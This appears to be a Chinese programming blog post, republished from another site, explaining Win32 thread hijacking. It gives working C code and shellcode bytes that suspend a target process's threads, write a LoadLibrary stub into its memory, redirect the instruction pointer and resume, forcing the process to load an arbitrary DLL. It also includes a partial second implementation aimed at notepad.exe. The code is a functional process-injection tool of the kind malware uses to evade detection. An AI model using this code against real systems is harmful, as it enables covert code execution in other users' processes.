Win32线程劫持-Suspend-Inject-Resume
来源:互联网 发布:大芒果数据库密码 编辑:程序博客网 时间:2024/06/16 14:48
Win32线程劫持-Suspend-Inject-Resume
所谓线程劫持,就是利用目标进程已有的线程执行自己的代码,而不用自己再在目标进程中创建新的线程。其核心就是Suspend(选择目标进程中的一个非等待状态的线程)-Inject(将EIP指向我们已经写入目标进程虚拟地址空间中的代码的起始地址)-Resume(恢复该线程的执行,这样一来目标线程将执行我们的代码),这种方法最关键的一点就是在目标线程执行完我们的代码之后,我们需要确保其返回原来执行的位置并且其通用寄存器以及其它的状态寄存器的状态不变。
核心函数如下
VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) { /* This is a mixture from the following sites: http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html http://www.kdsbest.com/?p=159 */ HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); HANDLE thread = NULL; THREADENTRY32 te; THREADENTRY32 te2; CONTEXT ctx; DWORD firstThread = 0; HANDLE targetThread = NULL; LPVOID scAddr; int i; unsigned char sc[] = { // Push all flags 0x9C, // Push all register 0x60, // Push 3,4,5,6 (dllPathAddr) 0x68, 0xAA, 0xAA, 0xAA, 0xAA, // Mov eax, 8,9,10, 11 (loadLibAddr) 0xB8, 0xBB, 0xBB, 0xBB, 0xBB, // Call eax 0xFF, 0xD0, // Pop all register 0x61, // Pop all flags 0x9D, // Ret 0xC3 }; te.dwSize = sizeof(THREADENTRY32); te2.dwSize = sizeof(THREADENTRY32); ctx.ContextFlags = CONTEXT_FULL; sc[3] = ((unsigned int) dllPathAddr & 0xFF); sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF); sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF); sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF); sc[8] = ((unsigned int) loadLibAddr & 0xFF); sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF); sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF); sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF); // Suspend Threads if(Thread32First(hSnapshot, &te)) { do { if(te.th32OwnerProcessID == GetProcessId(hHandle)) { if ( firstThread == 0 ) firstThread = te.th32ThreadID; thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID); if(thread != NULL) { printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID); SuspendThread(thread); CloseHandle(thread); } else { printf("\t[+] Could not open thread!\n"); } } } while(Thread32Next(hSnapshot, &te)); } else { printf("\t[+] Could not Thread32First! [%d]\n", GetLastError()); CloseHandle(hSnapshot); exit(-1); } CloseHandle(hSnapshot); printf("\t[+] Our Launcher Code:\n\t"); for (i=0; i<17; i++) printf("%02x ",sc[i]); printf("\n"); // Get/Save EIP, Inject printf("\t[+] Targeting Thread 0x%08x\n",firstThread); targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread); if (GetThreadContext(targetThread, &ctx) == 0) printf("[!] GetThreadContext Failed!\n"); printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp); printf("\t[+] Saving EIP for our return\n"); ctx.Esp -= sizeof(unsigned int); WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL); printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp); scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError()); printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL)); printf("\t[+] Setting EIP to LauncherCode\n"); ctx.Eip = (DWORD)scAddr; printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp); if (SetThreadContext(targetThread, &ctx) == 0) printf("[!] SetThreadContext Failed!\n"); // Resume Threads hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); te.dwSize = sizeof(THREADENTRY32); if(Thread32First(hSnapshot2, &te2)) { do { if(te2.th32OwnerProcessID == GetProcessId(hHandle)) { thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID); if(thread != NULL) { printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID); ResumeThread(thread); if (te2.th32ThreadID == firstThread) WaitForSingleObject(thread, 5000); CloseHandle(thread); } else { printf("\t[+] Could not open thread!\n"); } } } while(Thread32Next(hSnapshot2, &te2)); } else { printf("\t[+] Could not Thread32First! [%d]\n", GetLastError()); CloseHandle(hSnapshot2); exit(-1); } CloseHandle(hSnapshot2);}
之前写的一个比较笨的实现方法
上面的代码是网上的代码,而我之前也写过一个实现,刚刚找到了就贴在这里。
查找目标进程的代码不需要过多的解析了
int _tmain(int argc,char** argv){ CToolhelp ProceeHelp(TH32CS_SNAPPROCESS); PROCESSENTRY32 pe = {0}; pe.dwSize = sizeof(pe); if(ProceeHelp.ProcessFirst(&pe)) { while(ProceeHelp.ProcessNext(&pe)) { if(!stricmp(pe.szExeFile,"notepad.exe")) { CHAR* szDll = "\\SimpleDll.dll"; CHAR szFullPath[MAX_PATH] = {0}; GetCurrentDirectory(MAX_PATH,szFullPath); strcat(szFullPath,szDll); if(Inject(pe.th32ProcessID,szFullPath)) { ShowMessage(_T("注入成功")); } else { ShowMessage(_T("注入失败")); } break; } } } return 0;}
- 核心的汇编代码
#define MY_EIP 0x12345670#define MY_ST1 0x12345671#define MY_FUN 0x12345673#define MY_END 0x12345674// 告诉编译器,函数代码的汇编语言为自己所写的,不需要编译器添加任何汇编代码,即生成纯汇编// 需要在开始的时候保存上下文标志(push)并在结束的时候回复上下文(pop) 并在结尾添加ret 命令void __declspec(naked) __stdcall ASM_RemoteFunc(){ __asm { call Next;Next: pushfd; pushad; push MY_ST1 mov eax,MY_FUN call eax popad; popfd; mov DWORD PTR [esp],MY_EIP ret; push MY_END }}PVOID Find_Ptr(PVOID BeginPoint,ULONG_PTR Flags){ PVOID ret_ptr = NULL; __asm { mov eax,BeginPoint jmp compdiff: inc eaxcomp: mov ebx,[eax] cmp ebx,Flags jnz diff mov ret_ptr,eax } return ret_ptr;}
后面的操作就不详细说了,就是得到LoadLibrary函数的地址,得到DLL path 的地址以及得到原来的EIP 的地址,得到了之后应该修正里面的偏移值,最后根据MY_END的值得到指令的大小等等的类似的操作。
阅读全文
0 0
- Win32线程劫持-Suspend-Inject-Resume
- X64--线程劫持-Suspend-Inject-Resume
- java 线程中suspend,resume方法独占
- 线程之suspend和resume方法
- suspend/resume
- win32程序如何挂起/恢复(suspend/resume)进程
- Java中的线程Thread方法之---suspend()和resume()
- java线程阻塞(sleep,suspend,resume,yield,wait,notify)
- java 线程Thread方法之suspend()和resume()
- 自己实现线程的start、suspend、resume、stop方法
- Java中的线程Thread方法之suspend()和resume()
- 为什么线程会放弃Suspend和Resume方法
- Java中的线程Thread方法之---suspend()和resume()
- Java线程同步阻塞, sleep(), suspend(), resume(), yield(), wait(), notify()
- 为什么java线程不推荐调用stop,suspend,resume方法
- 停止(suspend)和唤醒(resume)线程
- java线程暂停与恢复suspend和resume
- Java多线程之线程的挂起与恢复(Suspend/Resume)
- Unity3D学习记录——API实例化与销毁2
- Unity自定义UI组件(十) 折线图
- 论文笔记:Spatial Transformer Networks(空间变换网络)
- mysql基础
- 【机器学习杂货铺】——模型评估(暂缺)
- Win32线程劫持-Suspend-Inject-Resume
- PHP MongoDB Driver
- elasticsearch5.4.1安装配置
- 填充模式:PKCS#5/PKCS7
- linux基础命令(增删改查)
- POJ2195: Going Home 题解
- 【机器学习杂货铺】——性能度量(暂缺)
- 基于Active X的mfc串口通行小程序
- Android广播用法